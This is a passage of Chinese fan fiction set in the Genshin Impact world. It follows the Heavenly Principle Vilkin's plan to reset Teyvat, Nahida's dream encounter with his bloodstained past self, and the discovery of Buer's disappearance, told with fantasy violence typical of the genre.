“既定的命运不可更改,也无法违逆。” 维系者看向空,似乎是已经知晓他会问的问题,于是缓缓道: “如果你是希望寻回你那位已经深陷淤泥的妹妹,我只能告诉你,她再也无法离开提瓦特了,除非这个世界毁灭,她的此生的命运将是与坎瑞亚和深渊共沉沦。” 维系者:“节哀。” “等等,荧到底怎么了?” 维系者略显讶异,但随后恍然大悟:“对,我当时没有选择向维尔金汇报这件事——” 维系者自顾自道: “他太忙了,一个失去降临者位格的堕落者,犯不着让他亲自出马。” “……什么意思?” "正如我所言,你的妹妹已经不再是降临者,沦为提瓦特原生种的她,是无法离开提瓦特的。" 统摄命运的真实之理「维尔金」与生死轮回「地脉循环」一同构成了提瓦特的底层法则。 除了身为上位存在的降临者与原初创造他们之外,包括尘世七执政在内的所有生灵都逃离不了这两大法则的约束。 命运已然在虚假的天空高高悬起它的明示,拥有命之座的人会成为命运和地脉的一部分,永远无法离开。 当然,也不是完全没有办法—— “你知道提瓦特的构造吧?” 维尔金的本体分割开了提瓦特与宇宙,换而言之,整个提瓦特大陆一如被蛋壳包裹的蛋黄,而处于人类探知以外的无边外海,便是蛋清。 原本就不属于鸡蛋内部生态的东西,会被维尔金所设定的法则排斥,天空岛也乐于为这些降临者们打开离开提瓦特的大门,但是—— “提瓦特的原生种一旦离开,包裹着提瓦特大陆的蛋壳就会碎裂。” “你自称维尔金的朋友,应该不会想要让他为难吧?” “一定还有别的办法!”空急切追问,“还有,维尔金说的回归虚无……到底是什么意思?” 维系者叹了口气 抬头看向高耸的光柱。 “意思就是,将意识回归本体,将力量彻底融入提瓦特……维尔金,或者说天理,自坎瑞亚战争结束以后便一直陷入了沉睡……或许他在梦境中遇见了某个可怕的未来,试图赶在一切发生之前修补好这个已经摇摇欲坠的世界吧。” “降临者,空。” 空抬起头,维系者正对着他,郑重其事地行礼,恳求道:“你能给我看一下你的记忆、以及这些日子来在地上的经历见闻吗?” “我想,我应该能够从你们的所见所闻中分析出,维尔金打定主意回归虚空的原因。” · 派蒙轻咳两声: “那个……作为前辈,我先给你们两个介绍一下天空岛工作规章制度以及人事流程——” 派蒙飞到维尔金身边,郑重其事道: “这位是统摄命运的真实之理,也就是巴尔泽布他们口中的天理大人,深渊和龙类遗族口中的虚假之天,总而言之,大家听见别名不要觉得太过奇怪,私底下直呼维尔金大名即可,但是在外人——特指深渊魔物和长生种面前,一定要使用尊称,不能在那群家伙面前跌份!” “刚刚那个白色大波浪、看上去很凶实际上更凶的神明,你们直接称呼她为「维系者」就好,不出意外的话,她就是你们未来的直接上司兼业务带教。不过友情提示,如果遇到什么不懂的问题,可以先来寻求一下派蒙的帮助哦!毕竟我也算是熟练工了,只要不是涉及到古龙和深渊这两个疑难杂症,派蒙还是相当靠谱的哦!” “工作流程很简单,就是定期检查七神提交的工作年报以及述职,普查提瓦特大陆地脉之花的异常纪录并进行跟进,及时处理七神以及地脉之花标红的紧急情况。” “工作地点和时间可以自由搭配,我一般比较建议上午左眼休息,下午右眼休息,晚上可以根据工作强度酌情眺望世界的边界,监控是否有降临者闯入提瓦特,如果有的话正好活动活动筋骨,没有的话继续处理公务即可。” 派蒙双手合十:“应该已经很清楚了吧?你们两个还有什么想要问的吗?” “我有问题。” 眼见派蒙看起来非常好说话,丹羽壮着胆子问:“天空岛的休息时间可以具体说清楚一下范围吗?我的意思是,这个自由搭配是指……?” 散兵不解:入职就发高级防御法器,头上有天理统帅,怎么还担心休息问题呢? 在踏鞴砂当了好几百年地脉之花的丹羽显然有不同看法。 在当地脉之花的时候,他就没有休息过,睡觉都得分出一边记录地脉情况。 眼下虽然重新拥有了人类身躯,但他心里边还是有点忐忑:地脉之花毕竟是直接扎根在地脉涌流之处,靠着埃舍尔改造后的自己的心脏。24小时无休对于一颗有充足力量供给的地脉之花而言并不是一件难事。 但是有手有脚、没办法从地脉中汲取营养的话…… 丹羽甚至有点怀疑,如果还是作为地脉之花的工作状态,自己有可能再度猝死,魂归稻妻。 “对对对,差点忘了,我们还有休息时间来着——” “放心你们才刚来,到时候会给你们安排些比较基础的工作内容,可以随时随地地挤出来时间休息。” 派蒙一拍手,对着他们补充道:“至于具体的休息时间,你们自己安排好左眼和右眼轮流休息就好,我们不管这个的,单眼闭多久都可以!还有还有,偷偷告诉你一条派蒙大人的不传摸鱼执法——晚上的时候,趁着巡逻边界的时候,还可以散步发呆——” “怎么样?是不是非常劳逸结合!” 她理所当然地点头赞同自己的发言: “放心,这种比较宽松的基础工作内容,可以随时随地地挤出来时间休息的。” 啊? 或许是觉得自己的表述方式有问题,丹羽委婉道:“我的意思是专门的非工作时间……” 维尔金恍然大悟:“我知道了,派蒙,他们说的是那个——” 派蒙也一拍脑门:“我就说好像还少了什么……” 时间的魔神催动神力,凝聚出两个金色的怀表。 派蒙将怀表交给维尔金,维尔金三两下为怀表附好魔,一人一个分配好: “诺,这是能够回溯到过去的怀表,可以在完成工作之后把自己的时间倒流,只要不跟过去的自己碰面,就不会触发时间的法则悖论,你们可以用这个办法干完活后,倒流时间直接补个觉。” 派蒙告诫道: “不过要记住,千万千万不要跟过去的自己碰面哦……” “要是碰面的话,说不定已经完成的工作,要全部重新做一次哦!”—— 作者有话说:这个时间怀表后面会派上用场 第62章 第 62 章 人有多大胆,地有多大产…… 时间之魔神的警告被他们牢记于心。 散兵和丹羽接过维尔金赐福后的怀表, 小心翼翼地将其收入囊中。作为前至冬女皇麾下第六席执行官,散兵深知时间与命运皆为禁忌的领域。 但派蒙和维尔金却如此轻易地就授予了他们回到过去时间节点的权限,甚至除了“不能见到过去的自己”这个不能算得上是限制的限制之外, 就再也没有提及别的后果。 难道就不怕他们回到过去、改变历史吗? 散兵纠结着措辞, 试探性问道:“那如果回到过去后, 不小心跟过去的自己碰面的话……” “会发生一些基于世界树本身而造成的逻辑悖论, 不过也无须在意啦。” 维尔金安慰了一番束手束脚的新下属, 解释道: “世界树有一套自成逻辑的弥补方式,提瓦特的地脉循环会根据世界树的订正修补记录,假如某一天,你们真的在使用了时间怀表回溯到之后无论如何也无法避免跟过去的自己相见,不必担心——” “如果过去发生了改变, 那么就能够证明你回到过去这一举动也是既定的命运;而如果是意料之外的会面——” 丹羽好奇:“历史会发生改变?” 维尔金两手一摊:“一点小小的时空错位并不会造成巨大的影响,因为既定的命运只会按照轨道运行。只是说,诱发命运节点的事件经过, 会发生一些无伤大雅的小小变化。” 维尔金顿了顿, 补充道:“而且,改变历史的权限在我这里,世界树采用双秘钥系统, 一把钥匙在布耶尔手上, 另一把在我这里。如果真的是想要改变历史进程, 首先, 那个人得先干掉须弥的执政官, 再干掉我才能真正修改历史,否则,世界线并不会被这些无伤大雅的小地方所撼动。” 丹羽似懂非懂地点了点头。 散兵也彻底熄灭了心中那丝脆弱的幻想,老老实实地在脑内构思时间怀表的实际可用性—— 如果以后的工作任务都繁重到必须左右眼轮流站岗放哨了, 那到时候他和丹羽最后专门划一片区域用作休息,以免在回到过去的时候撞上工作的自己。 解答完新人的问题,派蒙迫不及待地将两个新入职的同事赶去工位,让他们先熟悉一下最基础的文件。临走关上门前,小小的时间之魔神不忘叮嘱: “总而言之,维系者后面会先跟你们普及一下基础的业务知识的,你们先去宫殿里随便看看,记得不要随便乱动文件的摆放位置就好,我跟维尔金还有非常非常重要地事情要说,等会再去找你们!” 派蒙推着二人进入流光溢彩的宫殿,然后把火速关上大门,把两位新同事隔绝开来。 派蒙拍了拍身上的灰尘,双手叉腰,没好气道: “闲杂人等都已经离开,维尔金,是不是该好好地坦诚布公一番呢?” “亏我之前还废了那么大工夫帮你跟维系者隐瞒下界的事情,早知道你想回归虚无,说什么我都不会放你下去的!” 维尔金揉了揉气愤过头的时间之魔神,没有说话。 派蒙侧过身躲开了维尔金试图将事情敷衍过去的想法,继续逼问,说话的声音中隐约含着些许哭腔: “为什么呢?到底是为什么突然想要回归虚无?提瓦特现在不是被我们建设得很好吗?你看,暗之外海的大家也有好好地在生活,人类们在尘世七执政的统帅下安居乐业,深渊的威胁虽然一直存在,但在我们坚持不懈地打击之下,不是已经至少在表面的能够销声匿迹了吗?就算是纳塔……但真要说的话,也比当年好了不少……” 所以派蒙才不明白维尔金的想法。如今的提瓦特虽然还有不少瑕疵,但也是一副蒸蒸日上,一片欣欣向荣的祥和景象。既然如此,还有什么问题值得让维尔金不得不通过遁入虚无、深入世界的本源,才能解决的呢? “不,派蒙,这只是表象。” 维尔金缓缓叹了口气。 “在过去五百年的沉睡中,我看见了很多……深渊的触手比我们想象地要更加深入,坎瑞亚的问题不光没有化解,甚至随着时间的流逝,正慢慢成为提瓦特的顽疾,我必须彻底解决提瓦特的一切隐患。” “也不必替我担忧,派蒙。回归虚空是我经过深思熟虑后的决定。” 维尔金给呆愣的小派蒙一个大大的拥抱,安慰起看起来快要哭出来的下属。 “虚无并非洪水猛兽,正相反,它与混沌相伴相生。与我而言,回归虚无,不过是放弃这个法涅斯赠与我的躯壳,重新回归作为虚假之天蛋壳的本体而已。到时候我依然与你们同在,会时时刻刻监督你们的工作的。” “那……那也不用非得回归虚无呀!实在不行,不是还有尘世七执政吗?而且你现在都醒来了,搞定那些深渊、坎瑞亚的家伙们不是手到擒来?有什么必须要回归虚无的理由吗?” “因为他又想要背着我们去处理那该死的坎瑞亚人造出来的烂摊子了!!” 维尔金和派蒙回头。 维系者的怒气甚至能沸腾暗之外海。 “真不愧是你啊维尔金,我才那么一会没盯着你,你先是净化了黄金的造物、又睁只眼闭只眼让末光之剑滚蛋,还给极恶骑的坐骑给净化放生在内海——” 维系者还没降落稳就迫不及待地开始输出: “为什么要去管那个该死的坎瑞亚?为什么不干脆把他们丢掉混沌的宇宙去?” “他们不是很能吗?又是觊觎深渊的力量,又是试图推翻我们,那就让他们自己滚出去看看外面是个什么情况啊!拦着他们干什么?” “你对他们再好,他们记得住一点吗?” “他们只会记得天理及其维系者率领七神摧毁了无神的国度,全然没有反思过自己究竟私底下干了些什么!” 维系者连珠炮似的质问没有让维尔金有丝毫动摇。 维尔金:“我只是在守护法涅斯喜欢的这些生灵而已。” “法涅斯法涅斯!我也是法涅斯的一部分!我就不喜欢坎瑞亚的生灵!我恨死罪人了!” 派蒙和空拦在中间,两个人合力拦住激动得看上去像是要跟维尔金干一仗的维系者。派蒙扯着维系者背后的飘带,而好不容易赶过来的空怎是张开双手阻截在二人中间,劝导道: “冷静冷静,情绪不要这么激动……有话好好说。” 虽然他也不知道,明明是要上来质问维系者关于妹妹的事,怎么谈着谈着就变成现在这副样子。 有人递台阶,上头的维系者很快也放下冲动的手,只是冷冷道: “维尔金,有时候我真的希望,你能变回两千年前的那副样子。” 派蒙一顿,眼神飘忽不定,语气虚浮:“……额,我觉得如果真是那副样子的话还是算了吧……” 维系者短暂沉默了一下,那一口怒气也化作了一声饱含无奈和头疼的叹息: “算我错了,刚刚那句话收回,现在还是比之前好的。我的意思是……或许,可以不必对人类过于仁慈溺爱呢?正如你在璃月见到的那样,人类都有了能够抵挡奥赛尔的力量,你还当他们跟的两千年前一样脆弱。还有稻妻那些奉行,你不也看到了吗?深渊的污染不只是明面上的,它早已融入到了提瓦特的各个角落。” “人类已经不再是最开始被创造出来的纯白色,历经地脉循环和世界的浸染之后,他们的灵魂早就变成了灰色。” “我知道呀,经过三个国家的旅途,我已经意识到了,人类已经完全跟以前不一样了。最开始还略有些犹豫,不过看到那几个罪人之后,我又坚定了遁入无尽虚空的想法。” 和维系者分析出来的结果正好相反,伊斯塔露的残魂提醒让维尔金意识到,他不能用同样的眼光去看待两千年前的人类和今天的人类。 “这沉睡的五百年里,我将意识回归于虚假之天,我看见了很多。所以我在想,既然现在深渊的污染已经深入到地脉、甚至在坎瑞亚灭国后的五百年内也没能够完全得到净化,那不如干脆直接重置提瓦特。” 维尔金没有发现,自己解决问题的思路从一个极端走向了另一个极端。 这下维系者不怒了,派蒙也不劝了,只剩空在心中慢慢咀嚼维尔金话语中的意思—— 重置提瓦特…… 这是要干什么呢? “就是把世界揉搓捏瘪成球,短暂地变成混沌,然后再重新用我的本体分割一下。”维尔金伸出一根手指,在大受震撼的空面前,详细解释了一下这个听上去复杂、实际操作起来一点也不简单的神奇办法—— “藏在地脉里的深渊,我不好处理。但是一旦回归于混沌,我们不就能在事情恶化之前都解决掉吗?” 维尔金看向空: “到时候我可以在你们兄妹来到提瓦特之前就把你们扔出去,你的妹妹不会成为深渊的傀儡。” 维尔金又看向维系者: “我们这次直接给坎瑞亚搬个家,省得外面的东西和深渊腐蚀他们的心智 ,让他们产生不该有的想法。” 维系者认真思考。 维系者可耻地心动了。 但她还是强撑着理智,从这看似完美的计划中找到了最关键的问题—— “我们要如何保证重置的稳定性?” 现在的提瓦特可不是当年的混沌状态,地面上亿万生灵的命运已然铭刻在星空之上。如此庞大的工作量,哪怕是法涅斯复活,恐怕也无法保证这项工作的准确性和完整性。 “所以我本来打算去一趟须弥,跟布耶尔讨论一下计划实施的可行性。” 维尔金早就思考好了一切。 提瓦特大陆上所有地脉最终将汇聚于世界树的根系。 这个计划的最终实施需要他最智慧的执政官布耶尔,一起评估世界树的承载能力。 只要世界树内存贮的数据库完好无损,他的计划,就绝不是空想!—— 作者有话说:无人在意的角落,大慈树王依旧在艰难抵抗禁忌知识的污染 第63章 第 63 章 似梦亦非梦 梦是短暂的又美好的。 现实是冰冷又漫长的。 纳西妲知道, 梦一醒,可爱的兰那罗伙伴们就会随之离去,取而代之的就是大贤者不屑的眼神和冰冷如囚室无异的宫殿。 但是, 那就是她需要面对的现实。 神明不应该沉湎于快乐的梦境。 纳西妲一一向兰那罗们挥手告别, 随后放空思维, 任由自己不断陷落。 再度睁开眼, 环绕在纳西妲身边的兰那罗精灵们的歌曲悄然远去, 但是映入眼帘的既不是熟悉的穹顶和牢笼,也并非属于兰那罗们的梦境家园。 纳西妲记忆中熟悉的漆黑穹顶和梦幻天空,通通被灰霾与柴薪的火光所覆盖,逼仄的黑云甚至让人喘不过气来。 在这片萦绕着哀嚎的天空,数不清的魔兽们在天空中迅速飞行, 不止有龙,还有许许多多的、只在兰那罗们的睡前故事中才提到的远古魔兽。他们之间有的甚至是捕猎者和被捕食者的关系,但此刻, 无一例外地向纳西妲所在的地方这里赶来, 像是背后有什么恐怖的存在在追杀它们一样。 魔兽们越过小小的小吉祥草王,滚落的山石和砂砾为她构筑起一道小小的庇护所,纳西妲避开落石, 小心翼翼地搬来一块大石头作为掩体, 安静地待在下面。 巨大的黄金龙兽群从她的头顶呼啸飞过, 激起一阵腥风。纳西妲低下身子, 避免混杂着灰尘和鲜血的不干净空气进入咽喉。 下一秒, 比闪电更迅速的触手死死卷住跑在最末端的魔兽的脖颈,尖叫声此起彼伏,恐惧在真一方荒野蔓延,不可一世的龙兽们连羽毛都失了光泽, 随着触手越收越紧,魔龙发出凄厉的叫声,血管被硬生生地捏爆,炽热的血液顺着伸长的金色尖刺缓缓滴在干涸的沙地。 一只巨大的、半鸟半人形态的生物缓缓降落。祂伸出尖锐的利爪,轻而易举地划破了为首的魔龙的咽喉,血液如井喷般迸发,大部分落入沙地,有些甚至滴落到纳西妲的脸庞上。 她紧紧捂住嘴,生怕产生一丁点能够引起外面那个、正在追杀这些魔兽群的存在注意的声音。 顺着魔兽们恐惧的目光,纳西妲小心翼翼地,也顺着岩缝,看向了外面。 出乎她的意料,追逐着魔兽的存在并不面目可憎。 祂的背影沐浴着金光,就像是纳西妲读过的童话里的天使。 纳西妲小心翼翼地趁着“天使”背对自己时,观察着周围,赫然发现,周围竟然全部都是魔兽们的尸体。 它们之中并不完全死于那不可阻挡的锐利地刺,有的被掏空了心脏,有的整个庞大的身体就这么莫名奇妙地炸开,还有些是被地底和在半空之中突然出现的、如同触手一样的东西卷去,徒留一具具被压榨干净的躯壳。 魔兽们的鲜血几乎浸透了这片土地,其中,一部分沾染在泛着金色光芒的羽翼上。 祂回过头,眼睛注视着沾染着血液的羽翼。祂似乎并没有发现纳西妲。她看见,那个存在像是好奇地把羽翼扯到自己眼前,小心翼翼地用舌尖尖舔舐翼羽上沾染着的血液,眼睛微眯,露出格外餍足的神情。 而被祂屠戮的魔兽群尚未完全完全断了呼吸,血液顺着可怕的哀嚎声遍布在空旷的荒漠。 身为草神,纵使力量远不如前任大慈树王,纳西妲也能强烈地感受到这片土地正被死亡和痛苦锁侵扰。但是那金色的光芒所过之处,怨恨皆被一扫而空,就连属于魔物的、不怎么纯净的力量也被那个天使一般的生物净化。 血肉被大地吞没,徒留白骨还尚未被拆解干净。 纳西妲打了个寒颤,胳膊上出现了一堆鸡皮疙瘩—— 这些魔兽的血与肉,居然成为了他们埋骨之地的养料! 纳西妲壮着胆子,试着去感应周遭是否还有活着的生物存在。幼小的草元素力量如同古树的根须缓缓试探着周边的土壤。但同方才那种死寂的感觉不同,每一处土地都突然有了生机。 小小的草神双手紧贴着胸口。 荒蛮古老的提瓦特与她而言是极其远古的过去,作为坎瑞亚战争后才诞生的新任草神,她还有太多不明白的事情。如果是大慈树王……说不定就能够看出来,这个屠戮魔兽群的、形似传说中的天使的存在究竟是何种身份……但当务之急,应该想办法尽快离开这个梦境。 她已经感受到了鲜血滴落在脸庞的触感,也感觉到了因为吸收了足够多生命力而焕发出勃勃生机的地脉。 正常的梦境,纳西妲能够清楚感受到其中的不真实感……但这个她不小心误入的梦境,不管从哪个地方去感受,都像是真实存在的某地。 正当纳西妲蹲坐在巨大的磐石之后试图着脱离这个梦境之时,尖锐的利爪袭来,纳西妲抬头,金色的眼眸锁定住了最后的猎物。恐怖的威压从祂身上蔓延出来。 纳西妲也终于看清了那个“天使”的样貌—— 宽大的金色羽翼几乎能够包裹住祂的全身,美丽的面庞沾染着数不清生物的鲜血,明明是一副悲天悯人的表情,无机质的金色眼眸却闪烁着野兽一般的狩猎的本能。 糟糕,被盯上了! 甚至来不及思考为什么明明是梦境,却还能发现自己的存在,纳西妲转身就跑。 但只是一个闪身,那个可怕的存在瞬间闪烁到自己眼前,恐怖的力量从四面八方而来。一片轻飘飘的金色羽毛从上空飘落,在经过小草神幼嫩的手臂时轻轻划过,殷红的鲜血缓缓流出。 不对,这完全不对!快醒来! 纳西妲捂住受伤的左臂,尖刺一般的痛感和血腥味无疑陈述着一个事实—— 她受伤了,且没有因此离开梦境。 纳西妲极其擅长通过梦境与外界沟通交流,甚至从而影响现实。但作为拥有梦境之权能的神明,之前从未见过有梦境能够对她造成伤害。 这不是普通的梦境…… 难道是针对她而来的—— 纳西妲脑内思绪纷乱,与此同时,尖锐的利爪带着破空声,轻轻把她因为惊慌失措而凌乱的白色碎发别至耳后。 欸? 纳西妲忐忑地抬头看向那个不知是何物的存在,却发现后者完全收敛了方才有如杀神降世一般的气势,半兽化的利爪化作了人类纤长如玉的双手,轻柔地将她抱入怀中。 背后的金色羽翼笼罩在她的眼前,似乎是想要遮挡住抬起头就能够看见的森森白骨。 见识过男人的力量,纳西妲本能地闭上眼,向后瑟缩了些。 男人的手顿了顿,就连保养得当的羽翼看起来都有点萎靡不振。 “世界树的枝桠这么会……布耶尔这是打算把世界树合理密植吗……总而言之,先不要害怕,我不是坏人——” 纳西妲半睁开眼,那个残忍无情的可怕存在正因为自己的害怕而显得格外懊恼,见到纳西妲悄悄地在手指缝中看着祂,后者不知道想到了些什么,从那对漂亮的翅膀上拔下一根纤长的金色羽毛,小心翼翼地递在纳西妲眼前。 “神明喜欢勇敢的小树苗,不要哭,这个送给你——” 纳西妲看了看男人,最终还是接下了这片金色的羽翼。后者在看见纳西妲卸下了防备之后,心疼地拭去纳西妲脸上的鲜血和灰土,轻声说道: “这是神明的奖励哦。” “假如某一天,你又发现自己深陷魔窟,又找不到布耶尔的话——” “拿着这片羽翼,在夜晚降临之时,默念我的真名……” “我「维尔金」,就会出现在你的面前。” 纳西妲捧着羽毛,意识到了眼前之人的身份:“您是……” “嘘,什么都不要说。” 维尔金伸出一根手指,拦下了纳西妲所有的未尽之言,告诫道: “这里不是属于你的时间,小树苗,也不要告诉我任何事。命运和时间会让我所听到的未来成为现实。” 维尔金伸出手,阖上纳西妲的眼皮,轻声道: “回去找到布耶尔吧,和她分享这次美妙的巧遇,告知她你见到的一切,在这之后,她会处理好一切。” 纳西妲微微张口,她想要告诉天理,大慈树王已经死了,她是新任的草神。她想询问应该如何做好须弥的神明,她还想知道应该如何让自己的子民们相信自己,但却什么都说不出来,只能够沉沉睡去。 智慧的女神屈膝行礼,她的足迹所过之处,徒有肥力却无生机的沙漠随着草木之神的裙摆生出绿色的生机,丛丛鲜草迫不及待地从吸收了魔兽们血肉的土地中探出头来,抢先汲取宝贵的空气。 “维尔金大人,布耶尔应召而来。” 维尔金扔给她一枚绿色的棋子,缓缓开口: “告诉阿蒙,你们三个的事情……我同意了。神之心你们自己保管好即可……只要你们三个好好看护住世界树,其余之事,我既往不咎。” 布耶尔双手交叉置于胸前,接过这枚象征着尘世七执政身份的神之心,深深鞠了一躬。 “感谢您的仁慈。” 天空岛的主人张开双翼,飞向高空,徒留零落的羽毛和冰冷的告诫。 “布耶尔,不要让我失望。” 再度睁开眼,又是熟悉的冰冷囚笼。 纳西妲悄然松了一口气,难得地因为这熟悉的牢笼而感到安心。 但下一秒,她的神情瞬间凝固。 纳西妲颤抖着,抬起自己的左手。 一道纤细的红痕映入眼帘。 除此之外,还有一片格格不入的金色轻羽,安静地躺在她的手掌心中。 第64章 第 64 章 各种意义上都很靠谱的大…… “所以说, 你们的意思是——”愚人众第二席,博士多托雷扫视着理应被斯卡拉姆齐带过来的愚人众士兵,眉头紧蹙。 “斯卡拉姆齐让你们直接从暗之外海的边缘调转方向来须弥?” “千真万确!” 先遣队士兵低下头, 继续为他们的行为开解:“散兵大人的命令属下不敢不从, 更何况暗之外海情况诡谲多变, 我们别无他法, 只能先行来到须弥, 绝非是有意抛下散兵大人独自前来。” 愚人众士兵们言辞恳切,看上去不像是说谎。 多托雷在心中暗暗“啧”了一声。 蒙德可以没有女士,璃月也可以没有达达利亚,但是他眼下这个至关重要的节点,决不能没有斯卡拉姆齐。 作为计划中最重要的一环, 斯卡拉姆齐的作用胜过无数支愚人众先遣队。 多托雷冷冷盯着汇报稻妻情况的愚人众士兵。 计划被打乱了。 虽然目前尚不清楚斯卡拉姆齐在从稻妻离开的途为何突然调转方向前往了暗之外海,但多托雷向来不惮以最糟糕的可能性揣测结果。 ……撞到些旧日的残兵败将尚且还结果未知,但根据线报, 稻妻的雷神也在同一天前往了暗之外海。 命运可真是喜欢给人添麻烦。 原先几乎已经是近在咫尺的神之心不光一枚都不曾到手, 现在甚至连重要的实验素材都杳无音信…… 多托雷看向万木簇拥的净善宫,里面有阿扎尔鄙夷的弱小草神…… 以及,神之心。 他相信见识过真正智慧之神的阿扎尔, 一定会为真正的神明力量而冒一个小小的险。 …… 比如, 想办法从小吉祥草王手中, 骗走她的神之心。 · 维尔金本人极少涉足须弥的土地, 更别说带着人一起来找布耶尔。 布耶尔是一位可靠的神明, 纵使她内心深处或许对天空岛颇有微词,但理性会让她做出符合维尔金安排和预估的选择。而作为草木精灵的神明,两千余年的浸润已经足够让她将世界树视同为自己的一体,所以无论是过去还是未来, 维尔金从未担忧过世界树的安全。 至于娜布·玛莉卡塔和阿蒙……也算是两个得力下属吧。 维尔金曾经真情实感地祝愿布耶尔能够协调好他们三个之间剪不断理更乱的关系,但显然,从上次坎瑞亚战争集结,维尔金既没见到阿蒙,又没看见娜布的身影来看,布耶尔应该是遭不住他们的诡谲脑回路和任性的做法了。 后来维尔金沉睡前听维系者说,因为追逐世界之外的力量,她已经移除阿蒙和娜布作为须弥执政官的权限,徒留布耶尔一人看守世界树。 仙灵的遗族和天空岛末裔终究殊途同归。 各种各样类似于娜布和阿蒙一样,因为各种原因导致的天空岛人员的缩减让本就忙碌的维系者更是成为了连轴转的陀螺,但也托维尔金重启招聘计划的福,维系者的大手伸向了被维尔金坑蒙拐骗到天空岛上的丹羽和散兵,火速剥离出一部分业务交给他们。 作为讨个公道的无辜人士空,也因为派蒙的恳求,答应了等到维尔金跟布耶尔确认好世界树的情况,他们再详谈如何把荧剥离出深渊。 维尔金本来还想要试图挣扎一下:“要不让空先待在天空岛上……” “然后让你一个人在地下放飞自我?”维系者无情地堵住维尔金的辩解,手上指的纸笔飞速移动,警告道,“我已经跟空达成了协定,他陪同你走完提瓦特七国的流程,我们还他一个身心俱佳的好妹妹。” “虽然中间的过程比较波折,但也算是完成最开始答应你的事情了。” 维尔金叹了口气,下界短短的几个月甚至比过去在沉睡五百年中从地脉中获取的信息还要丰富得多,也更让他坚定了利用世界树重置提瓦特的想法。 “谢谢你,维尔金。” 空在空旷的沙漠中支起火堆,又从石缝里捉来几只肉蝎,烤至金黄后,将之递给了维尔金。 “你吃吧,空。”维尔金婉言谢绝,自从身份暴露之后,他就没有再为了在空面前维护虚假身份去摄入普通的食物了。 “我无法从这样的食物中摄取能量,所以你吃就好。” 空满眼可惜地收回了烤蝎子,咬了一口肥嫩的兽肉之后,含糊不清地问道:“那你靠什么来补充力量?地脉吗?” “是,但也不是。” 维尔金把一只看不懂气氛,从他底下经过的沙虫从地里揪了出来,丢入了火堆之中。他盘腿坐在沙堆,就当空以为,维尔金不会再回答他这个问题时,他才听见维尔金缓缓道: “我的力量来源于生命本源。” “生命本源?那是什么?” 空有些摸不着头脑,“生命本源”一词蕴含的意义太过抽象,他不清楚维尔金究竟要表达的是何种意思,咬了一口肥美的沙蝎肉,含糊不清道: “总不能是掠夺别人的生命吧?” 说完,就连空自己都忍不住为这个答案感到好笑。 掠夺生命什么的,想想都觉得不可能。维尔金可是天理、天空岛的主人,这样对深渊深恶痛绝的存在,怎么可能会用这样像是深渊魔物一样的方式来进食? “是的哦。” 维尔金双手托着下巴。他将视线放空,舌尖不自觉舔着干涸的唇角,像是没有看见空乍然停顿的动作一样,自顾自开口: “我只有在吞噬掉生物的生命本源时,才能得到饱腹感。非要说得通俗易懂的话,这些经过加工后的肉类蔬菜什么的都不行,非得是新鲜的、蕴藏着元素力量的鲜血与灵魂才行。” “欸?但是这听起来好像有点……” “是的,不那么像一个好神,尤其不像是光正伟岸的天理。” 维尔金叹了口气,将金色的长发别至而后。 “魔神们大多也对我敬而远之,尼伯龙根的扈从打不过我总喜欢嘴上过点瘾,远古的魔兽不少都见过我吞噬生命的样子,甚至有少部分侥幸逃脱的魔物血脉中,都烙印着对我本能的恐惧。他们称我为僭主、虚假之天,却从来不会称呼我为天理,所以,在意识到这一点之后,我就没有再进食过了。” “那你现在饿吗?”空问。 维尔金:? 空又将烤好的肉蝎子递到维尔金手中,“饿的话先将就一下试试这个,吃个味道也比饿着肚子看我吃饭好……不过,听你这个意思,是已经有很久没有进食了吗?” “是的。” 维尔金接过烤肉蝎子,对着头顶的星空掰着手指数日子,苦恼道:“算算时间,也快有两千年了。” “那你可快点解解馋吧!”空又从火堆里捡起刚刚被维尔金丢进火堆的沙虫,用木签子穿好后塞进维尔金的嘴里:“可别到时候饿急眼了,抱着我脑袋生啃。到时候我可打不过你,别等清醒了又把自己整急眼了。” “什么嘛,我可不吃人。” 他喜欢人类,所以维尔金的食谱上有魔神,魔兽,甚至于更次一级的野兽,却独独没有人类。 像沙虫和肉蝎子这样少得可怜的兽肉,除了勾起维尔金对食物的向往之外,毫无作用。 但毕竟是空的好意,维尔金三下五除二就干掉了手上的烤串,意犹未尽地盯着被沙暴包裹的、充满了元素力量的地方。 有点小饿。 可惜了,要不是当初因为草之龙阿佩普试图接触禁忌知识,维尔金降下的寒天之钉让森林变成了沙漠,还导致地脉断裂,后来也不至于为了恢复沙漠的地脉,干了一件不管是对天空岛友方还是敌方而言都觉得不妥的事情—— 维尔金将不愿沉睡于地底或是前往暗之外海的须弥魔兽们统统杀光。 将他们的血与灵用作修补地脉的养料,也顺便偷摸给自己空虚的胃补充了一点营养。 维系者知道顶头上司又对地表魔兽的大清洗而大发雷霆,所以到后面,维尔金干脆也懒得吃饭了。为了减少运动量,让维尔金少吃点,维系者干脆直接接手他大部分的文书工作,不少魔神也分出一部分力量在天空岛上帮忙…… 到最后,维尔金干脆直接不到必要时刻不苏醒。 只是没想到…… 两千年,短短的两千年,竟然足以让一切努力化为乌有。 三王共治的领土覆原辽阔,维尔金趁着空补充食物的时间探查着地下,很快发现了不对劲的地方。 黄土顺着指尖流向大地,地脉中纠缠着熟悉又不该出现在提瓦特内部的禁忌力量。当年他辛辛苦苦灭杀了九成非人类才培育好的沃土,只不过短短的两千年,力量已经全部消耗殆尽。 根据地脉显示,唯有靠近层岩巨渊的、不足整个须弥一半地方的密林还保留着茂密的雨林景观。 维尔金脑子嗡嗡的,火速唤起尘封在沙漠已久、无人问津的地脉之花。 记录地脉的造物忠诚地记录了沙漠中的一切,从最开始还比较正常的三王共治盛世,再到娜布耗尽从原初王座遗留下来的最后力量,再到天空岛上还很有脑子、一到地上海拔降低脑子里的水就占领智慧高地的神经阿蒙。 杀死维尔金最后一丝幻想的,是布耶尔的遗言—— 是的。 事已至此,最靠谱的居然还是已经魂归世界树的布耶尔。 她利用维尔金所设下的地脉之花,通过在须弥涌动的地脉力量,借助世界树存储数据的机制,巧妙地为能够翻阅地脉之花记录的存在留下了一句至关重要的话。 空丢下手中的烧烤签,一字一句地读出来地脉之花上标粗的几个大字—— “让世界,彻底遗忘我?” 空扭头:“这是什么意思?” 维尔金痛苦地闭上眼,深吸口气—— “意思是,布耶尔没了。” 第65章 第 65 章 探望阿佩普前要准备伴手…… “等等, 咱们一步一步慢慢分析,我现在脑子有点晕。” 空捏着地脉之花产出的卷轴,指着上面几个大字, 声调都不由自主地高了几分:“我有点不明白, 这又是从哪里看出来布耶尔已经死亡了的?” 难不成……是他们互相之间定下的暗号? 但维尔金其实用的是排除法。 “拥有地脉之花修改权限的人, 满打满算也就那么几个——” 维尔金掰着手指, 